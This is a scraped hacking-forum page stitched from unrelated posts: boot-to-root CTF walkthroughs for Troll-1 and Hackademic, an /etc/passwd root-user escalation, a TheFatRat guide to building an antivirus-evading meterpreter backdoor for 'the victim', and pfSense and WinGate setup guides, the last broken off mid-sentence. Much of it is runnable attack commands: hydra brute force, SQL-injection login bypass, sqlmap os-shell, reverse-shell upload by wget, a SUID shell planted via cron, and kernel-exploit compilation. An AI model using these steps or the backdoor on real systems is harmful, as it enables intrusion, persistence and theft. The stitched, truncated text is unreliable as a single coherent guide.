cat id_rsa
1
cat id_rsa
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ylx00uy3pvA/W2M-UCSHIQI/AAAAAAAAZGg/sRcH83EnWYANPDgpfQNMwiaItHTsC5XhgCEwYBhgL/s1600/12.png?w=687&ssl=1)
Now we navigated to the user “passwd file” to get the info about the username that we can use for getting the ssh session. We found hbeale.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-kK8Dna1MGX8/W2M-UZqkOZI/AAAAAAAAZGg/oboAvSlJBYEezZnU7MtlqprgodgjUQaUwCEwYBhgL/s1600/13.png?w=687&ssl=1)
Now the RSA Private we copied, we saved it as id_rsa and change its permission using the chmod command so that it can act as the ssh private key.
chmod 600 id_rsa
1
chmod 600 id_rsa
After this, we tried to connect to the target machine using ssh by user hbeale and the private key.
ssh -i id_rsa [email protected]
1
ssh -i id_rsa [email protected]
And as you can see in the image given that we successfully got the shell of user hbeale. But as this is a boot to root challenge we have escalated this shell into a root shell.
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-AWBmNr-gtjk/W2M-UV2vJvI/AAAAAAAAZGc/B6kyJhBpSwg6TNgzI6iRNTb3NWOG1sKJgCEwYBhgL/s1600/14.png?w=687&ssl=1)
We used the sudo -l command to extract the information about the command that can be run as root. We found out that we can run cat command.
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-pr4R39JqhJY/W2M-UiPRqXI/AAAAAAAAZGo/j2EB9Tbxg64nMJ7U2h7yTzh3xdGZI_lEACEwYBhgL/s1600/15.png?w=687&ssl=1)
Now back to our local machine, here we will use the OpenSSL command to create a password salt for our new user that we will use to log into the target machine.
openssl passwd -1 -salt user3 pass123
1
openssl passwd -1 -salt user3 pass123
![[Image: 16.1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ztgsvxgLc2A/W2M-U4rQ3RI/AAAAAAAAZGQ/RU5Z6zO8SB0BCzcS3sc6DrHsrNqI-mwhwCEwYBhgL/s1600/16.1.png?w=687&ssl=1)
On the Target machine, we use the cat command to edit the /etc/passwd file with the login credentials of the user we meant to create (which is going to have the root privileges).
sudo /usr/bin/cat >> /etc/passwd
1
sudo /usr/bin/cat >> /etc/passwd
After successfully edit the /etc/passwd file, we will substitute the new user we created using the su command. After entering the password which we created earlier, we login to the root shell.
This concludes this Boot to Root Challenge.
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-j30A5UGqthg/W2M-VFJzUTI/AAAAAAAAZGg/YdiGlmyFY6YWDa9oKLNuDLfOtWqgD0xaACEwYBhgL/s1600/16.png?w=687&ssl=1)
TheFatRat is an easy tool for generate backdoor with msfvenom ( part of metasploit framework ) and program compiles a C program with a meterpreter reverse_tcp payload In it that can then be executed on a windows host Program to create a C program after it is compiled that will bypass most AV
First, to install thefatrat we type the following command on terminal:
git clone [To see content please register here]
Once the cloning is done, go to the installed directory of fatrat and open it in terminal and type the following command to start it:
./fatrat
It will show you many options now select option 1 which is to CREATE BACKDOOR WITH MSFVENOM.
Now it will give a list of options to choose the format of the backdoor which you have to choose as per your requirements and need. To create a windows executable as a backdoor choose option 2.
Now enter the LHOST IP i.e. your system IP and LPORT i.e. the port you want the reverse connection on your i.e. attacker system. In my case the LHOST is 192.168.0.104 and LPORT is 4444.
And then exit the script by selecting y when asked
Now the generated backdoor will be present in the output directory.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-W4LbkfjvB7w/V55FeJ9X6bI/AAAAAAAANDY/5fLg907uRlQ-rH2xljU8OLn8FVgkNoGtwCLcB/s1600/4.png?w=687&ssl=1)
Now use any trick up your sleeve to transport the backdoor to the victim and set up reverse handler on metasploit with the following commands on the msf terminal-
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.104 (the attacker system IP)
set lport 4444
exploit
Now as soon as the backdoor is executed on the victim’s machine you will get a meterpreter shell as you can see in my case.
For More Details Visit [To see content please register here]
Firewall: It is a computer system or network that is designed to block unauthorized access while permitting outward communication. Firewall holds a lot of importance in our technical world as it assures our system’s as well as data’s security. And a firewall in a network helps us to secure the whole network. It acts as a network security device that grants or rejects network access to traffic flows between untrusted zones. Thus, the importance of the Firewall.
To secure a network we should always use a third party firewall instead of windows own firewall as it makes configuration of all network easy and in one system only. If you will use windows own firewall you have to configure if PC by PC which will take a lot of your time.
Setting up a firewall can be complicating. Therefore in this article, we will learn how to set up a firewall using PFSense. By setting this firewall we will create a wall between our networks which will delude our network into two parts i.e External network and internal network.
You can download ISO image for PFSenese from [To see content please register here] :
Now that you have ISO image, setup PFSense in your virtual machine just like you set up your windows and turn its power on and PFSense will open:
And it will boot itself automatically in few seconds:
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-1aFP4LquGtk/V5uC1hnfCAI/AAAAAAAANCE/eRRdaJIBikUQqGN1aQVdcAeL-lgjBpWdgCLcB/s1600/2.png?w=687&ssl=1)
Once it’s rebooted, select accept these Settings.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ggU78jZFcVw/V5uC2481sVI/AAAAAAAANCM/ONYjXZA0YPcxsDj4OcqS6U5n8_To7xKfwCLcB/s1600/3.png?w=687&ssl=1)
From the next dialogues, box select Quick/Easy Install.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-il8TOb3KoWU/V5uC3j0KXzI/AAAAAAAANCQ/_9CQGVEbXqQ3nxaxMOksLutspt8dh8YxgCLcB/s1600/4.png?w=687&ssl=1)
When you click on ok it will allow the installation process to begin without asking unnecessary questions:
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-RrIm1EzfWvU/V5uC4bouTAI/AAAAAAAANCU/JEty6igP16MDueVKybXT2M0zvRspgoAVQCLcB/s1600/5.png?w=687&ssl=1)
And the installation begins:
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-r2ik68NP2N0/V5uC4bTWXuI/AAAAAAAANCY/V6sepqZ1Cl8tfxdHs84trSD7jvgo7pY-wCLcB/s1600/6.png?w=687&ssl=1)
Now for installing custom configuration select Standard Kernel option.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-5eihB4ZJPTw/V5uC4-4tJYI/AAAAAAAANCc/hp1t744btKsn4wQ2QvNR611hT6yjEgifQCLcB/s1600/7.png?w=687&ssl=1)
And it will start installing:
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-I0CH3K2X3mQ/V5uC5ejUlEI/AAAAAAAANCg/D_4kHd9ztYQPUtOtdL-NHLG4oORH9CO-gCLcB/s1600/8.png?w=687&ssl=1)
Now, select the Reboot option so that the firewall can start.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-CbJhf4eoi0k/V5uC5sBTZjI/AAAAAAAANCk/j22wKf3-w5IZP2BqO0Ni4QGq8Vm-A9YKQCLcB/s1600/9.png?w=687&ssl=1)
Thus, rebooting will begin.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-jAIMaJ2DFpI/V5uCrkcDX3I/AAAAAAAANBg/EO6UqzRmBxExMjMKWZw1p6La8Xk-60zNQCLcB/s1600/10.png?w=687&ssl=1)
After the rebooting process, it will ask you if you want to set up VLAN’s. Here just type n for no and hit enter.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-acJOmcyjSz4/V5uCrHCFRMI/AAAAAAAANBc/NLRhycVVtPQJ3OpiJ08gdiP1fSAbr2lHACLcB/s1600/11.png?w=687&ssl=1)
Now it will ask you to name WAN and LAN interface. Give le0 name to WAN and le1 to LAN. Then just hit enter when it asks you to name optional interface.
It will show you the interfaces and their name now and will require your permission to proceed. Press y for yes as you are permitting it to proceed.
Now, in the following image you can see that it has automatically taken IP address for WAN i.e 192.168.1.7, if you wish to set the desired IP for WAN then choose 2 option and press 1 for the configuration of WAN.
It will ask you that if you want to assign the IPv4 IP address. Here, press n for no. When you hit enter it will ask you if you want to assign IPv4 IP address. Here, enter your desired IP address and press enter. Then it will ask you to give subnet mask for the IP address that you have just entered. Now as our IP address was of C-class we will give 24 as the subnet mask. After hitting enter it will ask you if you want to give upstream gateway. Here, just press enter. And when it asks you to set IPv6 via DHCP6 then simply press enter without typing anything else as we do not require IPv6. And when it asks you for HTTP web configuration press n for no.
You can see that your desired IP for WAN has been set up. Hit enter to continue.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-UJJ5SXfVLf8/V5uCwVNfZtI/AAAAAAAANB0/ivkiIs7thyElROnVDbb-rQCByxdcttmrACLcB/s1600/16.png?w=687&ssl=1)
Similarly, you can set up LAN IP address by selecting 2 for assigning an IP address and select 2 for LAN.
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-87PPTwpdXnI/V5uCx2E-UjI/AAAAAAAANB4/VkMqIBp9FE8If5CNWcisF4NNMr0CjgzRgCLcB/s1600/17.png?w=687&ssl=1)
Just like before, it will ask you for the IP address of LAN and so you enter your LAN IP address. And then it will ask you for the subnet mask, here we have given subnet mask of 8 as our IP is of A-class. Just hit enter when it asks you to enter the upstream gateway. And also hit enter when it asks you to enter IPv6 as we do not require it. And then press y for HTTP revert option.
And just like this, your LAN IP address has been set up. Now, press enters to continue.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-ALU_G_fQleg/V5uC0Nl3kLI/AAAAAAAANCA/0tptLysBZHYsP9scvloflLNuSGfYMpv3gCLcB/s1600/19.png?w=687&ssl=1)
Now to check that your firewall has been configured properly, let’s ping an IP address. Select option 7 and enter the IP address you want to ping. If it successfully pings that means your firewall has been configured successfully. And you can press enter to continue.
|
|
|
|
| [Guide] How to Hack the Troll-1 VM (Boot to Root) |
|
Posted by: NINZA - 04-24-2020, 01:56 PM - Forum: General Discussion
- No Replies
|
 |
Today we are going to solve another CTF challenge “Troll 1” of the vulnhub labs. The level of this challenge is not so tough and its difficulty level is described as beginner/intermediate. You can download it from here [To see content please register here]
Penetration Methodology - Network Scanning (Nmap, netdiscover)
- Anonymous FTP login
- Abusing web browser
- Brute-force attack (hydra)
- SSH login
- Privilege Escalation
- Get root access
- Capture the flag
Let’s Begin!!
Start with the netdiscover command to identify target IP in the local network, in my network 192.168.1.102 is my target IP, you will get yours.
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-X2HIyYSXZf4/W0iC12nRxpI/AAAAAAAAX38/ZvUOZeiqLMoXBwYr-ga6MtM86dYJd4aLwCLcBGAs/s1600/1.png?w=687&ssl=1)
Further, let’s enumerate open and protocols information in the target’s network with help of nmap following command:
nmap –A 192.168.1.102
1
nmap –A 192.168.1.102
From its result, we found port 21 for FTP, 22 for SSH and 80 for HTTP are open. Moreover, FTP anonymous login is allowed.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-IZy_RmiwfgQ/W0iC3BuyQDI/AAAAAAAAX5M/4jUzo3bKX5IczrTzsHbPRVPZFRTubgx9QCEwYBhgL/s1600/2.png?w=687&ssl=1)
So we explore target IP in the web browser and welcomed by the following image.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-nM-Pj0S6Sv4/W0iC3VQczzI/AAAAAAAAX5A/T7kq3qdIV2EVzB2LBjfM8Sdn9vX7HDaowCEwYBhgL/s1600/3.png?w=687&ssl=1)
Since FTP anonymous login was allowed so we logged in as anonymous: anonymous and download a lol.pcap file
ftp 192.168.1.102
ls -al
get lol.pcap
1
2
3
ftp 192.168.1.102
ls -al
get lol.pcap
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-FLESLs-HYjY/W0iC3o2tBJI/AAAAAAAAX5I/vqUGwG5bhJoUdOcZaWz5y-Rmw2p9jtU9ACEwYBhgL/s1600/4.png?w=687&ssl=1)
When we opened the lol.pcap file it was a Wireshark TCP packet and when we have opened 1st TCP stream it put up following image as shown.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-rq_gH2k0y4U/W0iC37u1YOI/AAAAAAAAX5A/yFeO3iKZRjIlUSz7JYpG5WHsvCVxhuCbwCEwYBhgL/s1600/5.png?w=687&ssl=1)
While looking in TCP stream 2, I notice something suspicious “sup3rs3cr3tdirlol” it could any possible web directory. So let’s step up for further approach and figure out what this sup3rs3cr3tdirlol indicates.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-tXccOB3pQkE/W0iC4OgdURI/AAAAAAAAX5I/QCW14IfLGUUCytrG0sO2FPoNKKp7_piGACEwYBhgL/s1600/6.png?w=687&ssl=1)
So when I explore [To see content please register here] in the web browser, it put up following web page where we found a file roflmao and decide to download it.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-Fjm5xKDX4_Q/W0iC4Hd-OqI/AAAAAAAAX5E/VIWATqKBOywOAJnPYzw8O2gLk_lUkCmfQCEwYBhgL/s1600/7.png?w=687&ssl=1)
Then with help of “string” a tool in Kali Linux, we explored the file roflmao and got a message ‘Find the address 0x0856BF to proceed’
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-3W9kmbkcQYE/W0iC4moyiYI/AAAAAAAAX5E/zls06hPa8-wLkpmz9ri9YOZzXhpcs-5nACEwYBhgL/s1600/8.png?w=687&ssl=1)
Then again I explored /0x0856BF in the web browser considering a possible web directory and indeed it gives two sub-directories as shown in the below image.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-0aDVEB4gSt0/W0iC4-cpjJI/AAAAAAAAX5M/3pfM_kjV3rw0hSrxHsVecSRhGxWug6MTQCEwYBhgL/s1600/9.png?w=687&ssl=1)
I opened both sub-directories and /good-luck looks interesting to me as it called a lol.txt file which contains a wordlist and might be this could be useful in conducting the brute force attack against ssh login. Also, the folder /this_folder_contains_the_password gave hint “Pass.txt” could be a possible password.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-MjyIFymc7pI/W0iC12mNNXI/AAAAAAAAX44/UeXiGIfallECdIG_fJRzwzg2qxk7qY3GACEwYBhgL/s1600/10.png?w=687&ssl=1)
Then we copied lol.txt wordlist into a text file and saved as dict.txt for username (remove 5th line while pasting the content of lol.txt into dict.txt). Since we have username dictionary file and also well aware from password let’s lunch brute-force attack for ssh login and for this you can use the following command.
hydra -L /root/Desktop/dict.txt -p Pass.txt 192.168.1.102 ssh
1
hydra -L /root/Desktop/dict.txt -p Pass.txt 192.168.1.102 ssh
OOOooooh Great!! Here is our possible ssh login credential overflow ass.txt
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-c-8ouauL1g0/W0iC1zEF01I/AAAAAAAAX5I/Ul2uI9D20Wkifs43OT7Hp6xhD67T0XMagCEwYBhgL/s1600/11.png?w=687&ssl=1)
With help of above-extracted credential, we have made successful SSH login and spawned tty shell victim’s machine. Now let’s finished task quickly and for that, we need to escalated root privileges…………….
ssh [email protected]
find / -writable 2<dev/null
1
2
ssh [email protected]
find / -writable 2<dev/null
Then we have enumerated all writeable file with help of above command.
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-PHEiolCNiNs/W0iC2cgrbYI/AAAAAAAAX5M/fxOWAHfkG5M8xLjsGHPx4H1MA2NxGWapwCEwYBhgL/s1600/12.png?w=687&ssl=1)
We found a python file cleaner.py inside /lib/log and it is a small program. So here the following script was added by admin to clean up all junk file from inside /tmp and these type of files depends upon specific time interval for executions.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-S_WBdPdR_yA/W0iC2v0yHZI/AAAAAAAAX5A/eKgpI7iOh3UnRTkzeZjTUSCE-gRMmkyigCEwYBhgL/s1600/13.png?w=687&ssl=1)
There so many methods to gain root access as in this method we copied /bin/sh inside /tmp and enabled SUID for /tmp/sh. It is quite simple, first, open the file through some editor for example nano sanitizer.py and replace“rm -r /tmp/*” from the following line as given below:
os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')
1
2
os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-7XDrXRrhTyQ/W0iC2z3Z6zI/AAAAAAAAX44/M1dSRDwvYbQl6KFyER7QO67w8Sn4UdPfQCEwYBhgL/s1600/14.png?w=687&ssl=1)
After some time it will create a sh file inside /tmp directory having SUID permission and when you will run it you will give root access.
cd /tmp
ls
./sh
cd /root
ls
cat proof.txt
1
2
3
4
5
6
cd /tmp
ls
./sh
cd /root
ls
cat proof.txt
HURRAYYYYYYY!!! We hit the Goal……………………………….
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-M7e_f7HHXgI/W0iC3HWgRoI/AAAAAAAAX48/NxWwrYZI_nsNRbtrUxqKvKQ6rmlMuVOpgCEwYBhgL/s1600/15.png?w=687&ssl=1)
Hello friends! Today we are going to solve a very simple and easy CTF challenge of the vulnhub. This is the second realistic hackademic challenge (root this box) by mr.pr0n. Download the target it from [To see content please register here] .
Penetrating Methodologies- Network Scanning (Nmap, netdiscover)
- SQL-Injection on Login Form
- Decrypting Hint to Get ports for port knocking
- Port Knocking using NMAP
- SQL-Injection using Sqlmap on URL
- Upload and execute a Reverse shell
- Reverse connection (netcat)
- Exploiting target (exploit 15285)
- Get Root access and capture the flag.
Let’s Start!!!
Start off with finding the target using:
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Vr9f7Nqs1oo/W7ua_N7Rj2I/AAAAAAAAamI/QSq0_xjzQbkPsfSReqjkKytVPjHeNdQogCLcBGAs/s1600/1.png?w=687&ssl=1)
Our target is 192.168.1.102. Now scan the target with nmap aggressive:
nmap -A 192.168.1.102
1
nmap -A 192.168.1.102
With the nmap scan, you can perceive the port 80 is open and port 666 is filtered.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-pe5cJRdaGx4/W7ubCVzpacI/AAAAAAAAam0/XpwkparfGagxEF44W9Un4HvYFrWuWgmJwCLcBGAs/s1600/2.png?w=687&ssl=1)
Further, when you will navigate to port 80 by exploring its IP in the browser, you will be welcomed by a login page as shown below.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-7xpdPG84nXQ/W7ubDK1K_SI/AAAAAAAAam8/Zy-cp_qlUgoZQ7V6nt3oTQ3zuUBO_XzQgCLcBGAs/s1600/3.png?w=687&ssl=1)
Look at this login form; we can try for SQL injection to bypass this page. So, we had tried the following malicious character inside the text field as shown in the below image.
Username: ' or 1=1--'
Password: ' or 1=1--'
1
2
Username: ' or 1=1--'
Password: ' or 1=1--'
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-4vghX5l3l5M/W7ubDbvr_vI/AAAAAAAAanA/fz07Q0q_JIsyUOaKd9dVmbQt6sJkLbiGACLcBGAs/s1600/4.png?w=687&ssl=1)
Superb!! We have bypassed the login form. But here, the author has left a message for which indicates that this is not the correct place to hunt the clue for any loophole.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-hdEeet7KFd0/W7ubD4SYK9I/AAAAAAAAanI/q63v-acTw-IEv6E_u2N9PLGPyRbQ8MKLgCLcBGAs/s1600/5.png?w=687&ssl=1)
So we looked into its source code and notice some encoded text here.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-MtCkpMIwv0Q/W7ubDyyl8bI/AAAAAAAAanE/ICMpQS6q3GIKddW9O62K7tY_BqNDfC2jwCLcBGAs/s1600/6.png?w=687&ssl=1)
Since the above text was URL encoded string and we have used burp suite to decode it. So now decode it into HEX and then HEX to Text.
“Knock Knock Knocking on heaven’s door”
Feels like it is some kind of port knocking and the 8-bit binary words could be possible some ports.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-gGjaZwbQVZ8/W7ubEZ5dODI/AAAAAAAAanM/orb34N2pnLw-yxEgm8TXINIScMama3P9wCLcBGAs/s1600/8.png?w=687&ssl=1)
Further, we copied the binary string so that we can decode it, to obtain readable text. As you can see it, here we have obtained a series of port number 1001:1101:1011:1001.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-rctcsjciYeE/W7ubFOlhimI/AAAAAAAAanQ/NcLXT9tH8t4yEQRbn85KA0iMfGyKH0yKgCLcBGAs/s1600/9.png?w=687&ssl=1)
We have used nmap to recursively hit the ports using the -r parameter.
nmap -r -p 1001,1101,1011,1001 192.168.1.102
1
nmap -r -p 1001,1101,1011,1001 192.168.1.102
After this when we scanned the target IP once again using nmap and found that the port 666 is open and also running Apache server.
nmap -sV 192.168.1.102
1
nmap -sV 192.168.1.102
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-tAKZzHJS7G8/W7ua_cQInRI/AAAAAAAAamM/7VK7HC4XtA8exKRzgohOWJ-B5bcWUzNkgCLcBGAs/s1600/10.png?w=687&ssl=1)
At this moment, we navigate to the newly opened port on the browser by exploring to the following URL
[To see content please register here]
1
[To see content please register here]
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-o-6qHPbSmhk/W7ua_YE-x4I/AAAAAAAAamQ/TlP_Wr2JDTAtvcHLXr43iZFQKkVXAtmrQCLcBGAs/s1600/11.png?w=687&ssl=1)
While browsing the website, we came across the “List of content items…” this URL was holding multiple parameters. I found this URL little bit suspicious against SQL injection, let’s ensure this through sqlmap.
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-eQ8oNswdCRw/W7ubAEjI5OI/AAAAAAAAamU/fxkUa0Gie6YMbo8rC77uDiRXx-qPgWn4QCLcBGAs/s1600/12.png?w=687&ssl=1)
To test the URL for SQL-Injection we will use sqlmap to enumerate the database name with help of the following command.
sqlmap -u "http://192.168.1.102:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" --dbs --batch
1
sqlmap -u "http://192.168.1.102:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" --dbs --batch
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-wnufhsWJThs/W7ubAViDzMI/AAAAAAAAamY/VKywFEYK5KsAsFzcaaLm91btfKgtwVTKACLcBGAs/s1600/13.png?w=687&ssl=1)
Yuppie!!! This VM is vulnerable to SQLi and we have successfully enumerated the possible database name “Joomla” through sqlmap, now let’s try to inject our payload with help of –os-shell option.
sqlmap -u "http://192.168.1.102:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" -D joomla --os-shell --batch
1
sqlmap -u "http://192.168.1.102:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" -D joomla --os-shell --batch
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-yxtl4pLp-XY/W7ubAtYoCbI/AAAAAAAAamc/l7jlxcq9J5E06zetTUj3J5S2OmcO32xTACLcBGAs/s1600/14.png?w=687&ssl=1)
Superb!! We have spawned the os-shell of the target machine.
Now we will use this os- shell to upload a php backdoor, here we used pentestmonkey’s php-reverse-shell.php which is saved inside /usr/share/webshells/php directory, change the listening IP address as your device and the port number as your choice and start a python server using the following command for transferring this file.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
And in the os-shell, we will use the wget to download the reverse shell.
wget [To see content please register here]
1
wget [To see content please register here]
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-UrsqO8PHqok/W7ubBGHzMWI/AAAAAAAAamg/BoZKheX2Bfwr4QMzBRmJkiTp4IaKpwvugCLcBGAs/s1600/15.png?w=687&ssl=1)
Since we have uploaded the malicious php inside the /var/www, therefore let’s navigate to the web browser and try to execute the revshell.php file but do not forget to start netcat listener.
nc -lvp 1234
1
nc -lvp 1234
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-KklbXJ8e6_k/W7ubBX9zT2I/AAAAAAAAamk/Y_F8P9AmYsAJwvFGv1YNbJPWyTudwUa2QCLcBGAs/s1600/16.png?w=687&ssl=1)
Boom!! We have compromised the target shell successfully, Here we have discovered the Linux kernel is version being 2.6.32, after searching not for long on the internet we found the “RDS kernel exploit for privilege escalation from user to root”.
So we downloaded the 15285.c from [To see content please register here] and move it to Desktop where our python server was already running.
On the target machine, we first use the python one-liner to spawn proper tty shell
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Now we move to tmp folder cd /tmp to download the exploit on the target machine using wget command and compile the C file using gcc.
wget [To see content please register here]
gcc 15285.c -o kernel
1
2
wget [To see content please register here]
gcc 15285.c -o kernel
Then give the file executable permissions and now run the compiled exploit
chmod 777 kernel
./kernel
1
2
chmod 777 kernel
./kernel
and BOOM you got the root. Now go to root directory only to discover that there is a key.txt file
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-lGPfMMc4Hlk/W7ubBSFLnkI/AAAAAAAAamo/iI18BIMrA6swKq03aYRbVAJ8J2ZZ9H1cQCLcBGAs/s1600/17.png?w=687&ssl=1)
When we tried to read the file then it was found to be encoded into base 64.
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-VE1jt-RiTM4/W7ubCR--c_I/AAAAAAAAamw/fmHpTvylqgAUAJE-ELrc7dggEtKjT-usQCLcBGAs/s1600/18.png?w=687&ssl=1)
With the help of the following command, we will try to decrypt the content of this file.
base64 -d Key.txt > key
1
base64 -d Key.txt > key
Now when we tried to open the file using file command it gave us the description of PNG image
file key
1
file key
To view it we copied it to /var/www only to download it and view the image.
cp key /var/www
1
cp key /var/www
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-IHO8FVuLoFg/W7ubCbV2YtI/AAAAAAAAams/XAuYvxrUzukX6On_hHMkkQ5Zqbxzo9wzQCLcBGAs/s1600/19.png?w=687&ssl=1)
Now download the file from the URL [To see content please register here] and open in your system to discover that it’s the root flag and you have successfully solved the CTF.
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-HDqLxd798UA/W7ubDBJV6XI/AAAAAAAAam4/3fvW0lgP8tMEL8QA55QsbtqawBuC8O4UACLcBGAs/s1600/20.png?w=687&ssl=1)
Albert Einstein always said “Imagination is important than knowledge” and this imagination accompanied by knowledge helps our world to more and more every day. Thus, technology grows and grows and succeeds to reduce human effort and increase our potential. And there is much software that helps us to do so.
One of that software is Wingate. This software helps us to monitor internet activities of our employees or students or anyone as this software helps us to set up a proxy server which further allows all the traffic from a network passes through it to reach the router as per their request. We can say that this software helps us to share and control access to the Internet through a single computer connection. The computer with Wingate acts as a proxy server for the computer users inside the home or business network.
Proxy Server: Proxy server is a server setup between the router and your network. Once the proxy server is set up, it will help you differentiate between the internal network (i.e your organization network) and an external network(i.e router). That means all the traffic from client’s application(i.e web browser) will go through this proxy server and you will be able to monitor everything they do on the internet and also you will be able to permit who accesses the internet or who does not. So, let us learn how to set up a proxy server
WinGate is software that acts as a gateway which allows us to set up a proxy server and helps us to share and control access to the Internet through a single computer connection. The computer with Wingate acts as a proxy server for the computer users inside the home or business network.
For WinGate to work on a computer we will need two LAN cards. Both of these LAN cards will act as routers. One of them will be our external network(i.e router) and others will be our internal network(i.e proxy server).
To install WinGate, download it from
[To see content please register here] . Once you have downloaded it,
Open it and the following screen will appear on your computer. Click on Next option on the dialogue box.
After clicking on the next option, it will ask you the Program Features that you would like to install. Select all the three options and then again click on Next button.
Now it will ask you to enter an Administrative E-mail on which you want all of your alerts. Enter your E-mail address. And then click on Next option.
Now a dialogue box will open as shown below. Select the localhost option from it.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-8DdJk-nauYo/V5YXFEVqMRI/AAAAAAAAM_A/wpZb9GzR5NElf72BXOh-sOy_ry0Kg649wCLcB/s1600/4.png?w=687&ssl=1)
Now a License Activation Dialogue Box will open and it will ask whether your connection is offline or online. Select online on it and click on Next.
It will further ask you if you have bought WinGate or if you have it on trial bases. Select the appropriate option such as select to activate purchased lenience if you have bought it or else select activate a free full-featured 30-day trial.
Then your activation request will be processed. It may take a minute or two.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-TRKGWqX9Gt0/V5YXGXLksqI/AAAAAAAAM_M/ZkS_c8NFScUAabJbnf8j0i9Reg6yrWlogCLcB/s1600/7.png?w=687&ssl=1)
After the activation process click on Next and it will ask you to provide a database for Wingate. For it, simply click on Next.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-cCNqV9BjTvo/V5YXGy9oLMI/AAAAAAAAM_Q/RGR2ce8T20QJUtlxjd-3pHNfOGSpo6fQQCLcB/s1600/8.png?w=687&ssl=1)
Now, select the Wingate user database engine as your database and click on Next
